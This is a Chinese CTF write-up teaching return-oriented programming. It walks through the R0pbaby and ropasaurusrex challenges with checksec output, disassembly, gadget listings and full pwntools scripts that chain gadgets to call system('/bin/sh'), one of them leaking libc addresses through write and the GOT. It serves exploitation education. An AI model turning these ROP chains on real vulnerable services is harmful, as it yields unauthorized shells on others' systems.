现代栈溢出利用技术基础:ROP
承接上一个篇目,这里继续讲ROP的一些题目分析。讲真的,我这里基本上的题目以及攻击方式都来自于Atum 师傅在X-MAN的PPT。
CTF中ROP的常规套路:
第一次触发漏洞,通过ROP泄漏libc的address(如puts_got),计算system地址,然后返回到一个可以重现触发漏洞的位置(如main),再次触发漏洞,通过ROP调用system(“/bin/sh”)
直接execve(“/bin/sh”, [“/bin/sh”], NULL),通常在静态链接时比较常用 三个练习:
Defcon 2015 Qualifier:R0pbaby
AliCTF 2016:vss
PlaidCTF 2013: ropasaurusrex 相关题目我们可以在CTFs 上找到。Defcon 2015 Qualifier:R0pbaby
我们拿到题目,可以先对题目进行检查,可先看看题目开启的保护
1 2 3 4 5 6 gdb-peda$ checksec CANARY : disabled FORTIFY : ENABLED NX : ENABLED PIE : disabled RELRO : disabled
gdb-peda 自带的 checksec 有检测程序是否开启保护,以及所开启的保护。我们可以看到,R0pbaby 所开启的保护有FORTIFY以及NX,这里我们主要所收到的限制是栈上写入的数据不可执行。 以及,程序可以知道是64位的,它的传参优先由寄存器完成。 接着,我们应该了解程序的流程,以及找到程序的漏洞,以及思考其利用方式。
*尝试运行程序
我们去尝试运行,摸清了基本上的程序的功能。
功能1,可以获得libc的基址
功能2,可以获得函数的地址
功能3,输入的地方,感觉这个地方可能存在漏洞。
紧接着,我们可以用IDA 分析程序了。
发现一个函数的不适当应用,拷贝的过程中没有判断大小,可能造成缓冲区溢出。
函数原型 void * memcpy(void*dest, const void * src, size_t n); 由src指向地址为起始地址的连续n个字节的数据复制到以destin指向地址为起始地址的空间内。
savedregs是一个IDA关键字,我们可以看到 保存的堆栈帧指针和函数返回地址:在IDA中,我们可以直接单击它。
buf的大小应该是8没错,之后可能造成缓冲区溢出,那么我的解题思路大概是如下:
我们需要找到一个gadget RDI 用来起shell
其次我们需要找到 “bin/sh”的地址
最后,我们需要找到system函数的地址
完成上面三个步骤,我们就可以去构造我们的ROP链来getshell。
如何找到 pop rdi
我们需要找到:
如此的指令, 我们可以通过简单的objdump来寻找简单的gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 wings@sw:~/桌面/Rop$ python ROPgadget.py --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" Gadgets information 0x00000000000206c1 : pop rbp ; pop r12 ; pop r13 ; ret 0x00000000000b5a23 : pop rbp ; pop r12 ; pop r14 ; ret 0x000000000001fb11 : pop rbp ; pop r12 ; ret 0x000000000012bf16 : pop rbp ; pop r13 ; pop r14 ; ret 0x0000000000020252 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret 0x00000000000210fe : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000000ccb05 : pop rbp ; pop r14 ; pop rbp ; ret 0x00000000000202e6 : pop rbp ; pop r14 ; ret 0x000000000006d128 : pop rbp ; pop rbp ; ret 0x0000000000048438 : pop rbp ; pop rbx ; ret 0x000000000001f930 : pop rbp ; ret 0x00000000000ccb01 : pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret 0x000000000006d124 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret 0x00000000000398c5 : pop rbx ; pop r12 ; pop rbp ; ret 0x00000000000202e1 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret 0x00000000000206c0 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret 0x00000000000b5a22 : pop rbx ; pop rbp ; pop r12 ; pop r14 ; ret 0x000000000001fb10 : pop rbx ; pop rbp ; pop r12 ; ret 0x000000000012bf15 : pop rbx ; pop rbp ; pop r13 ; pop r14 ; ret 0x000000000001f92f : pop rbx ; pop rbp ; ret 0x000000000002a69a : pop rbx ; ret 0x0000000000001b18 : pop rbx ; ret 0x2a63 0x0000000000185240 : pop rbx ; ret 0x6f9 0x000000000013c01f : pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret 0x000000000010134b : pop rcx ; pop rbx ; pop rbp ; pop r12 ; ret 0x00000000000e9aba : pop rcx ; pop rbx ; ret 0x0000000000001b17 : pop rcx ; pop rbx ; ret 0x2a63 0x00000000000fc3e2 : pop rcx ; ret 0x0000000000020256 : pop rdi ; pop rbp ; ret 0x0000000000021102 : pop rdi ; ret
因为是本地测试,所以我先查看自己本地的libc.so.6 确认libc.so.6
1 2 3 4 5 wings@sw:~/桌面/Rop$ ldd r0pbaby linux-vdso.so.1 => (0x00007ffff7ffd000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd9000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7810000) /lib64/ld-linux-x86-64.so.2 (0x0000555555554000)
1 2 wings@sw:~/桌面/Rop$ strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh" 18c177 /bin/sh
可以知道 偏移是0x18c177
至于sytem函数,程序的第二个功能已经给我们了,至此,我们可以开始构造我们的exp了.
system = 0x00007FFFF784F390 #get_libc_base() rdi_gadget_offset = 0x21102 bin_sh_offset = 0x18c177 system_offset = 0x45390
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *debug =1 if debug ==1 : io = process("./r0pbaby" ) else : io = remote("127.0.0.1" ,10002 ) system = 0x00007FFFF784F390 rdi_gadget_offset = 0x21102 bin_sh_offset = 0x18c177 system_offset = 0x45390 libc_base = system - system_offset print "[+] libc base: [%x]" % libc_baserdi_gadget_addr = libc_base + rdi_gadget_offset print "[+] RDI gadget addr: [%x]" % rdi_gadget_addrbin_sh_addr = libc_base + bin_sh_offset print "[+] \"/bin/sh\" addr: [%x]" % bin_sh_addrsystem_addr = 0x00007FFFF784F390 print "[+] system addr: [%x]" % system_addrpayload = "A" *8 payload += p64(rdi_gadget_addr) payload += p64(bin_sh_addr) payload += p64(system_addr) io.recv(1024 ) io.sendline("3" ) io.recv(1024 ) io.send("%d\n" %(len (payload)+1 )) io.sendline(payload) io.sendline("4" ) io.interactive()
至此 一个简单的64位程序 ROP Pwn题完成!!撒花 撒花~
PlaidCTF 2013: ropasaurusrex 上一个程序简单的调用 system + “bin/sh” 通过寄存器 gadget “pop rdi;ret “传参起shell,接着我们来完成第二个pwn,第二个pwn的特点是,我们需要去info leak 得到信息,然后计算system 的地址。
依旧是老三套,我们先分析一下程序开启的保护。
1 2 3 4 5 6 gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
只开了NX 其他的都没开,我们可以应用ret2libc 的攻击方式来获取shell,所以我们得通过比如像write、puts、printf类似的函数做info leak用来计算system在内存中的地址。我们用IDA开,一边分析题目流程,一边找题目漏洞。
1 2 3 4 5 6 int __cdecl main () { sub_80483F4 (); return write (1 , "WIN\n" , 4u ); }
sub_80483F4
1 2 3 4 5 6 ssize_t sub_80483F4 () { char buf; return read (0 , &buf, 0x100 u); }
很清晰,我们可以看到题目流程非常简单,就读取一定字节,然后直接打印WIN\n
。紧接着,我们可以看到read
函数被错误使用,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 .text:080483F2 ; --------------------------------------------------------------------------- .text:080483F3 align 4 .text:080483F4 .text:080483F4 ; =============== S U B R O U T I N E ======================================= .text:080483F4 .text:080483F4 ; Attributes: bp-based frame .text:080483F4 .text:080483F4 sub_80483F4 proc near ; CODE XREF: main+9p .text:080483F4 .text:080483F4 buf = byte ptr -88h .text:080483F4 .text:080483F4 push ebp .text:080483F5 mov ebp, esp .text:080483F7 sub esp, 98h .text:080483FD mov dword ptr [esp+8], 100h ; nbytes .text:08048405 lea eax, [ebp+buf] .text:0804840B mov [esp+4], eax ; buf .text:0804840F mov dword ptr [esp], 0 ; fd .text:08048416 call _read .text:0804841B leave .text:0804841C retn .text:0804841C sub_80483F4 endp .text:0804841C .text:0804841
buf大小只有0x88,但是却允许被读入0x100的字节大小,这明显可以造成缓冲区溢出。
1 2 wings@sw:~/桌面/Rop$ file ./ropasaurusrex ./ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped
我们还知道的一点是,程序是32位,所以我们不需要像第一个题那样去找寄存器 gadget。 在main函数中有一个write
函数,我们可以通过rop,来进行信息泄漏。所以攻击思大概是:
构造payload leak 内存中的一个函数地址,比如 read()
计算libc base
构造payload get shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *debug = 1 elf = ELF('./ropasaurusrex' ) if debug == 1 : libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) else : libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) bof = 0x80483f4 buffer_len = 0x88 context.log_level = 'debug' p = remote('127.0.0.1' ,10002 ) payload = '' payload += 'A' * buffer_len payload += 'AAAA' payload += p32(elf.symbols['write' ]) payload += p32(bof) payload += p32(1 ) payload += p32(elf.got['read' ]) payload += p32(4 ) p.send(payload) resp = p.recvn(4 ) read = u32(resp) libc_base = read - libc.symbols['read' ] payload = '' payload += 'A' * buffer_len payload += 'AAAA' payload += p32(libc_base + libc.symbols['system' ]) payload += 'AAAA' payload += p32(libc_base + next (libc.search('/bin/sh' ))) p.send(payload) p.sendline('ls' ) p.interactive()
小结一下: read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)
上面的内容来自蒸米 -一步一步 rop 做了两个简单的rop 第一个的64位,第二个是32位,基本上 也能体会到两者的区别了,一者是寄存器传参,一者是栈传参。至于AliCTF的vsvs ,我没找到Bin程序,所以这里就不单独分析了。我们看看别人的wp,例如链接https://segmentfault.com/a/1190000005718685
下一个内容准备学习 VROP,一种利用signal机制的ROP技术。